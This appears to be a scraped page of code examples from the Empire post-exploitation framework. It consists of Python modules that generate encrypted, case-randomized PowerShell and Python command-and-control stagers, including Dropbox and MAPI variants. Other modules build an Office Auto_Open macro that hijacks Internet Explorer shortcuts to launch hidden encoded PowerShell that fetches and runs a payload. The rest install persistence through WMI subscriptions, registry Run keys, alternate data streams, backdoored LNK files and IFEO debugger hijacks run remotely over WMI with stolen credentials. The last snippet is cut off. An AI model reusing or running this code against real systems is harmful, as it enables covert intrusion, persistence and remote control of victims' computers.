        apiToken = listenerOptions['APIToken']['Value']
        profile = listenerOptions['DefaultProfile']['Value']
        stagingFolder = "/%s/%s" % (baseFolder, listenerOptions['StagingFolder']['Value'].strip('/'))

        if language.lower() == 'powershell':

            # read in the stager base
            f = open("%s/data/agent/stagers/dropbox.ps1" % (self.mainMenu.installPath))
            stager = f.read()
            f.close()

            # patch the server and key information
            stager = stager.replace('REPLACE_STAGING_FOLDER', stagingFolder)
            stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
            stager = stager.replace('REPLACE_POLLING_INTERVAL', pollInterval)

            randomizedStager = ''

            for line in stager.split("\n"):
                line = line.strip()
                # skip commented line
                if not line.startswith("#"):
                    # randomize capitalization of lines without quoted strings
                    if "\"" not in line:
                        randomizedStager += helpers.randomize_capitalization(line)
                    else:
                        randomizedStager += line

            # base64 encode the stager and return it
            if encode:
                return helpers.enc_powershell(randomizedStager)
            elif encrypt:
                RC4IV = os.urandom(4)
                return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager)
            else:
                # otherwise just return the case-randomized stager
                return randomizedStager


        elif language.lower() == 'python':

            f = open("%s/data/agent/stagers/dropbox.py" % (self.mainMenu.installPath))
            stager = f.read()
            f.close()

            stager = helpers.strip_python_comments(stager)
            # patch the server and key information
            stager = stager.replace('REPLACE_STAGING_FOLDER', stagingFolder)
            stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
            stager = stager.replace('REPLACE_POLLING_INTERVAL', pollInterval)
            stager = stager.replace('REPLACE_PROFILE', profile)
            stager = stager.replace('REPLACE_API_TOKEN', apiToken)

            if encode:
                return base64.b64encode(stager)
            if encrypt:
                # return an encrypted version of the stager ("normal" staging)
                RC4IV = os.urandom(4)
                return RC4IV + encryption.rc4(RC4IV+stagingKey, stager)
            else:
                # otherwise return the standard stager
                return stager

        else:
            print helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module.")
    def generate(self):

        # extract all of our options
        language = self.options['Language']['Value']
        listenerName = self.options['Listener']['Value']
        userAgent = self.options['UserAgent']['Value']
        proxy = self.options['Proxy']['Value']
        proxyCreds = self.options['ProxyCreds']['Value']
        stagerRetries = self.options['StagerRetries']['Value']
	lnkPath = self.options['LNKPath']['Value']
	XmlPath = self.options['XmlUrl']['Value']
	XmlOut = self.options['XmlOutFile']['Value']
	regParts = XmlPath.split("\\")
	path = "\\".join(regParts[0:len(regParts)-1])
	name = regParts[len(regParts)-1]

        # generate the launcher code
        launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
	launcher = launcher.split(" ")[-1]

        if launcher == "":
            print helpers.color("[!] Error in launcher command generation.")
            return ""
        else:
            chunks = list(helpers.chunks(launcher, 50))
            payload = "\tDim encRP As String\n"
            payload += "\tencRP = \"" + str(chunks[0]) + "\"\n"
            for chunk in chunks[1:]:
                payload += "\tencRP = encRP + \"" + str(chunk) + "\"\n"

            macro = "Sub Auto_Open()\n"
            macro += "\tOffice\n"
            macro += "End Sub\n\n"


            macro += "Public Function Office() As Variant\n"
           # macro += payload
	
	    macro += "Dim myWS As Object, lnk as Object\n"
	    macro += "Set myWS = CreateObject(\"Wscript.Shell\")\n"
#set up first link - creates / replaces iexplore.lnk (display name iexplore) on users desktop if it sees it
	    macro += "Set lnk = myWS.CreateShortcut(myWS.SPecialFolders(\"desktop\") & \"\\iexplore.lnk\")\n"
	    
	    launchString1 = "[System.Diagnostics.Process]::Start(\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\");$b = New-Object System.Xml.XmlDocument;$b.Load(\""
	    launchString2 = "\");[Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String($b.command.a.execute))|IEX\n"

	    macro += "lnk.targetpath = \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe \"\n"

	    launchString1 = helpers.randomize_capitalization(launchString1)
	    launchString2 = helpers.randomize_capitalization(launchString2)
	    launchString = launchString1 + XmlPath + launchString2
	    encLaunch = helpers.enc_powershell(launchString)
	    macro += "lnk.arguments = \"-w hidden -nop -enc " + encLaunch + "\"\n"
	    macro += "lnk.IconLocation = \"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\"\n"
	    macro += "lnk.save\n"


#2nd link here -- will overwite ie if it finds a file named 'Internet Explorer' in the taskbar menu
	    macro += "Set lnk = myWS.CreateShortcut(Environ(\"AppData\") & \"\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk\")\n"
	    macro += "lnk.targetpath = \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe \"\n"
	    macro += "lnk.arguments = \"-w hidden -nop -enc " + encLaunch + "\"\n"
	    macro += "lnk.IconLocation = \"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\"\n"
	    macro += "lnk.save\n"
	    macro += "End Function\n"

#write XML to disk

	    f = open(XmlOut,"w")
	    f.write("<?xml version=\"1.0\"?>\n")
	    f.write("<command>\n")
	    f.write("\t<a>\n")
	    f.write("\t<execute>"+launcher+"</execute>\n")
	    f.write("\t</a>\n")
	    f.write("</command>\n")

            return macro
Ejemplo n.º 13
0
    def generate(self, obfuscate=False, obfuscationCommand=""):

        listenerName = self.options['Listener']['Value']

        # management options
        lnkPath = self.options['LNKPath']['Value']
        extFile = self.options['ExtFile']['Value']
        cleanup = self.options['Cleanup']['Value']

        # storage options
        regPath = self.options['RegPath']['Value']

        # staging options
        userAgent = self.options['UserAgent']['Value']
        proxy = self.options['Proxy']['Value']
        proxyCreds = self.options['ProxyCreds']['Value']

        statusMsg = ""

        if not self.mainMenu.listeners.is_listener_valid(listenerName):
            # not a valid listener, return nothing for the script
            print helpers.color("[!] Invalid listener: " + listenerName)
            return ""

        else:
            # generate the PowerShell one-liner with all of the proper options set
            launcher = self.mainMenu.payloads.generate_launcher(
                listenerName,
                language='powershell',
                encode=False,
                userAgent=userAgent,
                proxy=proxy,
                proxyCreds=proxyCreds)
            launcher = launcher.replace("$", "`$")

        # read in the common powerup.ps1 module source code
        moduleSource = self.mainMenu.installPath + "/data/module_source/persistence/Invoke-BackdoorLNK.ps1"
        if obfuscate:
            helpers.obfuscate_module(moduleSource=moduleSource,
                                     obfuscationCommand=obfuscationCommand)
            moduleSource = moduleSource.replace("module_source",
                                                "obfuscated_module_source")
        try:
            f = open(moduleSource, 'r')
        except:
            print helpers.color("[!] Could not read module source path at: " +
                                str(moduleSource))
            return ""

        script = f.read()
        f.close()

        scriptEnd = "Invoke-BackdoorLNK "

        if cleanup.lower() == "true":
            scriptEnd += " -CleanUp"
            scriptEnd += " -LNKPath '%s'" % (lnkPath)
            scriptEnd += " -RegPath '%s'" % (regPath)
            scriptEnd += "; \"Invoke-BackdoorLNK cleanup run on lnk path '%s' and regPath %s\"" % (
                lnkPath, regPath)

        else:
            if extFile != '':
                # read in an external file as the payload and build a
                #   base64 encoded version as encScript
                if os.path.exists(extFile):
                    f = open(extFile, 'r')
                    fileData = f.read()
                    f.close()

                    # unicode-base64 encode the script for -enc launching
                    encScript = helpers.enc_powershell(fileData)
                    statusMsg += "using external file " + extFile

                else:
                    print helpers.color("[!] File does not exist: " + extFile)
                    return ""

            else:
                # if an external file isn't specified, use a listener
                if not self.mainMenu.listeners.is_listener_valid(listenerName):
                    # not a valid listener, return nothing for the script
                    print helpers.color("[!] Invalid listener: " +
                                        listenerName)
                    return ""

                else:
                    # generate the PowerShell one-liner with all of the proper options set
                    launcher = self.mainMenu.payloads.generate_launcher(
                        listenerName,
                        language='powershell',
                        encode=True,
                        userAgent=userAgent,
                        proxy=proxy,
                        proxyCreds=proxyCreds)

                    encScript = launcher.split(" ")[-1]
                    statusMsg += "using listener " + listenerName

            scriptEnd += " -LNKPath '%s'" % (lnkPath)
            scriptEnd += " -EncScript '%s'" % (encScript)
            scriptEnd += "; \"Invoke-BackdoorLNK run on path '%s' with payload for listener '%s'\"" % (
                lnkPath, listenerName)
        if obfuscate:
            scriptEnd = helpers.obfuscate(
                self.mainMenu.installPath,
                psScript=scriptEnd,
                obfuscationCommand=obfuscationCommand)
        script += scriptEnd
        return script
Ejemplo n.º 14
0
    def generate(self):
        
        listenerName = self.options['Listener']['Value']

        # management options
        lnkPath = self.options['LNKPath']['Value']
        extFile = self.options['ExtFile']['Value']
        cleanup = self.options['Cleanup']['Value']

        # storage options
        regPath = self.options['RegPath']['Value']

        # staging options
        userAgent = self.options['UserAgent']['Value']
        proxy = self.options['Proxy']['Value']
        proxyCreds = self.options['ProxyCreds']['Value']

        statusMsg = ""

        if not self.mainMenu.listeners.is_listener_valid(listenerName):
            # not a valid listener, return nothing for the script
            print helpers.color("[!] Invalid listener: " + listenerName)
            return ""

        else:
            # generate the PowerShell one-liner with all of the proper options set
            launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=False, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
            launcher = launcher.replace("$", "`$")


        # read in the common powerup.ps1 module source code
        moduleSource = self.mainMenu.installPath + "/data/module_source/persistence/Invoke-BackdoorLNK.ps1"

        try:
            f = open(moduleSource, 'r')
        except:
            print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
            return ""

        script = f.read()
        f.close()

        script += "Invoke-BackdoorLNK "
        
        if cleanup.lower() == "true":
            script += " -CleanUp"
            script += " -LNKPath '%s'" %(lnkPath)
            script += " -RegPath '%s'" %(regPath)
            script += "; \"Invoke-BackdoorLNK cleanup run on lnk path '%s' and regPath %s\"" %(lnkPath,regPath)
       
        else:
            if extFile != '':
                # read in an external file as the payload and build a 
                #   base64 encoded version as encScript
                if os.path.exists(extFile):
                    f = open(extFile, 'r')
                    fileData = f.read()
                    f.close()

                    # unicode-base64 encode the script for -enc launching
                    encScript = helpers.enc_powershell(fileData)
                    statusMsg += "using external file " + extFile

                else:
                    print helpers.color("[!] File does not exist: " + extFile)
                    return ""

            else:
                # if an external file isn't specified, use a listener
                if not self.mainMenu.listeners.is_listener_valid(listenerName):
                    # not a valid listener, return nothing for the script
                    print helpers.color("[!] Invalid listener: " + listenerName)
                    return ""

                else:
                    # generate the PowerShell one-liner with all of the proper options set
                    launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
                    
                    encScript = launcher.split(" ")[-1]
                    statusMsg += "using listener " + listenerName

            script += " -LNKPath '%s'" %(lnkPath)
            script += " -EncScript '%s'" %(encScript)
            script += "; \"Invoke-BackdoorLNK run on path '%s' with stager for listener '%s'\"" %(lnkPath,listenerName)

        return script
Ejemplo n.º 15
0
    def generate(self):
        
        #listenerName = self.options['Listener']['Value']
        launcher_prefix = self.options['Launcher']['Value']
        
        # trigger options
        dailyTime = self.options['DailyTime']['Value']
        atStartup = self.options['AtStartup']['Value']
        subName = self.options['SubName']['Value']

        # management options
        extFile = self.options['ExtFile']['Value']
        cleanup = self.options['Cleanup']['Value']
        webFile = self.options['WebFile']['Value']
        # staging options
        #userAgent = self.options['UserAgent']['Value']
        #proxy = self.options['Proxy']['Value']
        #proxyCreds = self.options['ProxyCreds']['Value']

        statusMsg = ""
        locationString = ""

        if cleanup.lower() == 'true':
            # commands to remove the WMI filter and subscription
            script = "Get-WmiObject __eventFilter -namespace root\subscription -filter \"name='"+subName+"'\"| Remove-WmiObject;"
            script += "Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter \"name='"+subName+"'\" | Remove-WmiObject;"
            script += "Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match '"+subName+"'} | Remove-WmiObject;"
            script += "'WMI persistence removed.'"
            
            return script

        if extFile != '':
            # read in an external file as the payload and build a 
            #   base64 encoded version as encScript
            if os.path.exists(extFile):
                f = open(extFile, 'r')
                fileData = f.read()
                f.close()

                # unicode-base64 encode the script for -enc launching
                encScript = helpers.enc_powershell(fileData)
                statusMsg += "using external file " + extFile

            else:
                print helpers.color("[!] File does not exist: " + extFile)
                return ""

        else:
            # generate the PowerShell one-liner with all of the proper options set
            launcher = self.mainMenu.stagers.generate_launcher_fetcher(language='powershell', encode=True, webFile=webFile, launcher=launcher_prefix)
            
            encScript = launcher.split(" ")[-1]
            statusMsg += "using launcher_fetcher"

        # sanity check to make sure we haven't exceeded the powershell -enc 8190 char max
        if len(encScript) > 8190:
            print helpers.color("[!] Warning: -enc command exceeds the maximum of 8190 characters.")
            return ""

        # built the command that will be triggered
        triggerCmd = "$($Env:SystemRoot)\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NonI -W hidden -enc " + encScript
        
        if dailyTime != '':
            
            parts = dailyTime.split(":")
            
            if len(parts) < 2:
                print helpers.color("[!] Please use HH:mm format for DailyTime")
                return ""

            hour = parts[0]
            minutes = parts[1]

            # create the WMI event filter for a system time
            script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='"+subName+"';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = "+hour+" AND TargetInstance.Minute= "+minutes+" GROUP WITHIN 60\"};"
            statusMsg += " WMI subscription daily trigger at " + dailyTime + "."

        else:
            # create the WMI event filter for OnStartup
            script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='"+subName+"';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};"
            statusMsg += " with OnStartup WMI subsubscription trigger."


        # add in the event consumer to launch the encrypted script contents
        script += "$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='"+subName+"';CommandLineTemplate=\""+triggerCmd+"\";RunInteractively='false'};"

        # bind the filter and event consumer together
        script += "Set-WmiInstance -Namespace \"root\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer} | Out-Null;"


        script += "'WMI persistence established "+statusMsg+"'"
        
        return script
Ejemplo n.º 16
0
Archivo: dbx.py Proyecto: bneg/Empire
    def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None):
        """
        Generate the stager code needed for communications with this listener.
        """

        if not language:
            print helpers.color('[!] listeners/dbx generate_stager(): no language specified!')
            return None

        pollInterval = listenerOptions['PollInterval']['Value']
        stagingKey = listenerOptions['StagingKey']['Value']
        baseFolder = listenerOptions['BaseFolder']['Value'].strip('/')
        apiToken = listenerOptions['APIToken']['Value']
        profile = listenerOptions['DefaultProfile']['Value']
        workingHours = listenerOptions['WorkingHours']['Value']
        stagingFolder = "/%s/%s" % (baseFolder, listenerOptions['StagingFolder']['Value'].strip('/'))

        if language.lower() == 'powershell':

            # read in the stager base
            f = open("%s/data/agent/stagers/dropbox.ps1" % (self.mainMenu.installPath))
            stager = f.read()
            f.close()

            # patch the server and key information
            stager = stager.replace('REPLACE_STAGING_FOLDER', stagingFolder)
            stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
            stager = stager.replace('REPLACE_POLLING_INTERVAL', pollInterval)

            #patch in working hours, if any
            if workingHours != "":
                stager = stager.replace('WORKING_HOURS_REPLACE', workingHours)

            randomizedStager = ''

            for line in stager.split("\n"):
                line = line.strip()
                # skip commented line
                if not line.startswith("#"):
                    # randomize capitalization of lines without quoted strings
                    if "\"" not in line:
                        randomizedStager += helpers.randomize_capitalization(line)
                    else:
                        randomizedStager += line

            # base64 encode the stager and return it
            if encode:
                return helpers.enc_powershell(randomizedStager)
            elif encrypt:
                RC4IV = os.urandom(4)
                return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager)
            else:
                # otherwise just return the case-randomized stager
                return randomizedStager


        elif language.lower() == 'python':
            template_path = [
                os.path.join(self.mainMenu.installPath, '/data/agent/stagers'),
                os.path.join(self.mainMenu.installPath, './data/agent/stagers')]
            eng = templating.TemplateEngine(template_path)
            template = eng.get_template('dropbox.py')

            template_options = {
                    'staging_folder': stagingFolder,
                    'poll_interval': pollInterval,
                    'staging_key': stagingKey,
                    'profile': profile,
                    'api_token': apiToken
                    }

            stager = template.render(template_options)
            stager = obfuscation.py_minify(stager)

            if encode:
                return base64.b64encode(stager)
            if encrypt:
                # return an encrypted version of the stager ("normal" staging)
                RC4IV = os.urandom(4)
                return RC4IV + encryption.rc4(RC4IV+stagingKey, stager)
            else:
                # otherwise return the standard stager
                return stager

        else:
            print helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module.")
Ejemplo n.º 17
0
    def generate(self, obfuscate=False, obfuscationCommand=""):

        listenerName = self.options['Listener']['Value']

        # trigger options
        keyName = self.options['KeyName']['Value']

        # storage options
        regPath = self.options['RegPath']['Value']
        adsPath = self.options['ADSPath']['Value']

        # management options
        extFile = self.options['ExtFile']['Value']
        cleanup = self.options['Cleanup']['Value']

        # staging options
        userAgent = self.options['UserAgent']['Value']
        proxy = self.options['Proxy']['Value']
        proxyCreds = self.options['ProxyCreds']['Value']

        statusMsg = ""
        locationString = ""

        # for cleanup, remove any script from the specified storage location
        #   and remove the specified trigger
        if cleanup.lower() == 'true':
            if adsPath != '':
                # remove the ADS storage location
                if ".txt" not in adsPath:
                    print helpers.color(
                        "[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt"
                    )
                    return ""

                script = "Invoke-Command -ScriptBlock {cmd /C \"echo x > " + adsPath + "\"};"
            else:
                # remove the script stored in the registry at the specified reg path
                path = "\\".join(regPath.split("\\")[0:-1])
                name = regPath.split("\\")[-1]
                script = "$RegPath = '" + regPath + "';"
                script += "$parts = $RegPath.split('\\');"
                script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';"
                script += "$name = $parts[-1];"
                script += "$null=Remove-ItemProperty -Force -Path $path -Name $name;"

            script += "Remove-ItemProperty -Force -Path HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name " + keyName + ";"
            script += "'Registry persistence removed.'"

            return script

        if extFile != '':
            # read in an external file as the payload and build a
            #   base64 encoded version as encScript
            if os.path.exists(extFile):
                f = open(extFile, 'r')
                fileData = f.read()
                f.close()

                # unicode-base64 encode the script for -enc launching
                encScript = helpers.enc_powershell(fileData)
                statusMsg += "using external file " + extFile

            else:
                print helpers.color("[!] File does not exist: " + extFile)
                return ""

        else:
            # if an external file isn't specified, use a listener
            if not self.mainMenu.listeners.is_listener_valid(listenerName):
                # not a valid listener, return nothing for the script
                print helpers.color("[!] Invalid listener: " + listenerName)
                return ""

            else:
                # generate the PowerShell one-liner with all of the proper options set
                launcher = self.mainMenu.stagers.generate_launcher(
                    listenerName,
                    language='powershell',
                    encode=True,
                    userAgent=userAgent,
                    proxy=proxy,
                    proxyCreds=proxyCreds)

                encScript = launcher.split(" ")[-1]
                statusMsg += "using listener " + listenerName

            # store the script in the specified alternate data stream location
        if adsPath != '':
            if ".txt" not in adsPath:
                print helpers.color(
                    "[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt"
                )
                return ""

            script = "Invoke-Command -ScriptBlock {cmd /C \"echo " + encScript + " > " + adsPath + "\"};"

            locationString = "$(cmd /c \''more < " + adsPath + "\'')"
        else:
            # otherwise store the script into the specified registry location
            path = "\\".join(regPath.split("\\")[0:-1])
            name = regPath.split("\\")[-1]

            statusMsg += " stored in " + regPath + "."
            script = "$RegPath = '" + regPath + "';"
            script += "$parts = $RegPath.split('\\');"
            script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';"
            script += "$name = $parts[-1];"
            script += "$null=Set-ItemProperty -Force -Path $path -Name $name -Value " + encScript + ";"

            # note where the script is stored
            locationString = "$((gp " + path + " " + name + ")." + name + ")"

        script += "$null=Set-ItemProperty -Force -Path HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name " + keyName + " -Value '\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x=" + locationString + ";powershell -Win Hidden -enc $x\"';"

        script += "'Registry persistence established " + statusMsg + "'"
        if obfuscate:
            script = helpers.obfuscate(psScript=script,
                                       obfuscationCommand=obfuscationCommand)
        return script
Ejemplo n.º 18
0
    def generate(self, obfuscate=False, obfuscationCommand=""):
        
        script = """$null = Invoke-WmiMethod -Path Win32_process -Name create"""

        # management options
        cleanup = self.options['Cleanup']['Value']        
        binary = self.options['Binary']['Value']
        targetBinary = self.options['TargetBinary']['Value']
        listenerName = self.options['Listener']['Value']
        userName = self.options['UserName']['Value']
        password = self.options['Password']['Value']

        # storage options
        regPath = self.options['RegPath']['Value']

        statusMsg = ""
        locationString = ""

        # if a credential ID is specified, try to parse
        credID = self.options["CredID"]['Value']
        if credID != "":
            
            if not self.mainMenu.credentials.is_credential_valid(credID):
                print helpers.color("[!] CredID is invalid!")
                return ""

            (credID, credType, domainName, userName, password, host, os, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]

            if domainName != "":
                self.options["UserName"]['Value'] = str(domainName) + "\\" + str(userName)
            else:
                self.options["UserName"]['Value'] = str(userName)
            if password != "":
                self.options["Password"]['Value'] = passw = password


        if cleanup.lower() == 'true':
            # the registry command to disable the debugger for the target binary
            payloadCode = "Remove-Item 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"+targetBinary+"';"
            statusMsg += " to remove the debugger for " + targetBinary

        elif listenerName != '':
            # if there's a listener specified, generate a stager and store it
            if not self.mainMenu.listeners.is_listener_valid(listenerName):
                # not a valid listener, return nothing for the script
                print helpers.color("[!] Invalid listener: " + listenerName)
                return ""

            else:
                # generate the PowerShell one-liner with all of the proper options set
                launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True)
                
                encScript = launcher.split(" ")[-1]
                # statusMsg += "using listener " + listenerName

            path = "\\".join(regPath.split("\\")[0:-1])
            name = regPath.split("\\")[-1]

            # statusMsg += " stored in " + regPath + "."

            payloadCode = "$RegPath = '"+regPath+"';"
            payloadCode += "$parts = $RegPath.split('\\');"
            payloadCode += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';"
            payloadCode += "$name = $parts[-1];"
            payloadCode += "$null=Set-ItemProperty -Force -Path $path -Name $name -Value "+encScript+";"

            # note where the script is stored
            locationString = "$((gp "+path+" "+name+")."+name+")"

            payloadCode += "$null=New-Item -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"+targetBinary+"';$null=Set-ItemProperty -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"+targetBinary+"' -Name Debugger -Value '\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x="+locationString+";start -Win Hidden -A \\\"-enc $x\\\" powershell\";exit;';"

            statusMsg += " to set the debugger for "+targetBinary+" to be a stager for listener " + listenerName + "."

        else:
            payloadCode = "$null=New-Item -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"+targetBinary+"';$null=Set-ItemProperty -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"+targetBinary+"' -Name Debugger -Value '"+binary+"';"
            
            statusMsg += " to set the debugger for "+targetBinary+" to be " + binary + "."

        # unicode-base64 the payload code to execute on the targets with -enc
        encPayload = helpers.enc_powershell(payloadCode)

        # build the WMI execution string
        computerNames = "\"" + "\",\"".join(self.options['ComputerName']['Value'].split(",")) + "\""

        script += " -ComputerName @("+computerNames+")"
        script += " -ArgumentList \"C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -enc " + encPayload + "\""

        # if we're supplying alternate user credentials
        if userName != '':
            script = "$PSPassword = \""+password+"\" | ConvertTo-SecureString -asPlainText -Force;$Credential = New-Object System.Management.Automation.PSCredential(\""+userName+"\",$PSPassword);" + script + " -Credential $Credential"

        script += ";'Invoke-Wmi executed on " +computerNames + statusMsg+"'"
        if obfuscate:
            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
        return script
Ejemplo n.º 19
0
    def generate_stager(self,
                        listenerOptions,
                        encode=False,
                        encrypt=True,
                        language="powershell"):
        """
        Generate the stager code needed for communications with this listener.
        """

        #if not language:
        #    print helpers.color('[!] listeners/http_mapi generate_stager(): no language specified!')
        #    return None

        profile = listenerOptions['DefaultProfile']['Value']
        uris = [a.strip('/') for a in profile.split('|')[0].split(',')]
        stagingKey = listenerOptions['StagingKey']['Value']
        host = listenerOptions['Host']['Value']
        workingHours = listenerOptions['WorkingHours']['Value']
        folder = listenerOptions['Folder']['Value']

        if language.lower() == 'powershell':

            # read in the stager base
            f = open("%s/data/agent/stagers/http_mapi.ps1" %
                     (self.mainMenu.installPath))
            stager = f.read()
            f.close()

            # make sure the server ends with "/"
            if not host.endswith("/"):
                host += "/"

            # patch the server and key information
            stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
            stager = stager.replace('REPLACE_FOLDER', folder)

            # patch in working hours if any
            if workingHours != "":
                stager = stager.replace('WORKING_HOURS_REPLACE', workingHours)

            randomizedStager = ''

            for line in stager.split("\n"):
                line = line.strip()
                # skip commented line
                if not line.startswith("#"):
                    # randomize capitalization of lines without quoted strings
                    if "\"" not in line:
                        randomizedStager += helpers.randomize_capitalization(
                            line)
                    else:
                        randomizedStager += line

            # base64 encode the stager and return it
            if encode:
                return helpers.enc_powershell(randomizedStager)
            elif encrypt:
                RC4IV = os.urandom(4)
                return RC4IV + encryption.rc4(RC4IV + stagingKey,
                                              randomizedStager)
            else:
                # otherwise just return the case-randomized stager
                return randomizedStager
        else:
            print(
                helpers.color(
                    "[!] listeners/http generate_stager(): invalid language specification, only 'powershell' is currently supported for this module."
                ))
Ejemplo n.º 20
0
    def generate_stager(self,
                        listenerOptions,
                        encode=False,
                        encrypt=True,
                        language=None):
        """
        Generate the stager code needed for communications with this listener.
        """

        if not language:
            print helpers.color(
                '[!] listeners/dbx generate_stager(): no language specified!')
            return None

        pollInterval = listenerOptions['PollInterval']['Value']
        stagingKey = listenerOptions['StagingKey']['Value']
        baseFolder = listenerOptions['BaseFolder']['Value'].strip('/')
        apiToken = listenerOptions['APIToken']['Value']
        profile = listenerOptions['DefaultProfile']['Value']
        workingHours = listenerOptions['WorkingHours']['Value']
        stagingFolder = "/%s/%s" % (
            baseFolder, listenerOptions['StagingFolder']['Value'].strip('/'))

        if language.lower() == 'powershell':

            # read in the stager base
            f = open("%s/data/agent/stagers/dropbox.ps1" %
                     (self.mainMenu.installPath))
            stager = f.read()
            f.close()

            # patch the server and key information
            stager = stager.replace('REPLACE_STAGING_FOLDER', stagingFolder)
            stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
            stager = stager.replace('REPLACE_POLLING_INTERVAL', pollInterval)

            #patch in working hours, if any
            if workingHours != "":
                stager = stager.replace('WORKING_HOURS_REPLACE', workingHours)

            randomizedStager = ''

            for line in stager.split("\n"):
                line = line.strip()
                # skip commented line
                if not line.startswith("#"):
                    # randomize capitalization of lines without quoted strings
                    if "\"" not in line:
                        randomizedStager += helpers.randomize_capitalization(
                            line)
                    else:
                        randomizedStager += line

            # base64 encode the stager and return it
            if encode:
                return helpers.enc_powershell(randomizedStager)
            elif encrypt:
                RC4IV = os.urandom(4)
                return RC4IV + encryption.rc4(RC4IV + stagingKey,
                                              randomizedStager)
            else:
                # otherwise just return the case-randomized stager
                return randomizedStager

        elif language.lower() == 'python':

            f = open("%s/data/agent/stagers/dropbox.py" %
                     (self.mainMenu.installPath))
            stager = f.read()
            f.close()

            stager = helpers.strip_python_comments(stager)
            # patch the server and key information
            stager = stager.replace('REPLACE_STAGING_FOLDER', stagingFolder)
            stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
            stager = stager.replace('REPLACE_POLLING_INTERVAL', pollInterval)
            stager = stager.replace('REPLACE_PROFILE', profile)
            stager = stager.replace('REPLACE_API_TOKEN', apiToken)

            if encode:
                return base64.b64encode(stager)
            if encrypt:
                # return an encrypted version of the stager ("normal" staging)
                RC4IV = os.urandom(4)
                return RC4IV + encryption.rc4(RC4IV + stagingKey, stager)
            else:
                # otherwise return the standard stager
                return stager

        else:
            print helpers.color(
                "[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."
            )
Ejemplo n.º 21
0
    def generate_stager(self,
                        listenerOptions,
                        encode=False,
                        encrypt=True,
                        obfuscate=False,
                        obfuscationCommand="",
                        language=None):
        """
        Generate the stager code needed for communications with this listener.
        """

        if not language:
            print(
                helpers.color(
                    '[!] listeners/http_com generate_stager(): no language specified!'
                ))
            return None

        profile = listenerOptions['DefaultProfile']['Value']
        uris = [a.strip('/') for a in profile.split('|')[0].split(',')]
        stagingKey = listenerOptions['StagingKey']['Value']
        host = listenerOptions['Host']['Value']
        workingHours = listenerOptions['WorkingHours']['Value']
        customHeaders = profile.split('|')[2:]

        # select some random URIs for staging from the main profile
        stage1 = random.choice(uris)
        stage2 = random.choice(uris)

        if language.lower() == 'powershell':

            # read in the stager base
            f = open("%s/data/agent/stagers/http_com.ps1" %
                     (self.mainMenu.installPath))
            stager = f.read()
            f.close()

            # Get the random function name generated at install and patch the stager with the proper function name
            # Get the random function name generated at install and patch the stager with the proper function name
            conn = self.get_db_connection()
            self.lock.acquire()
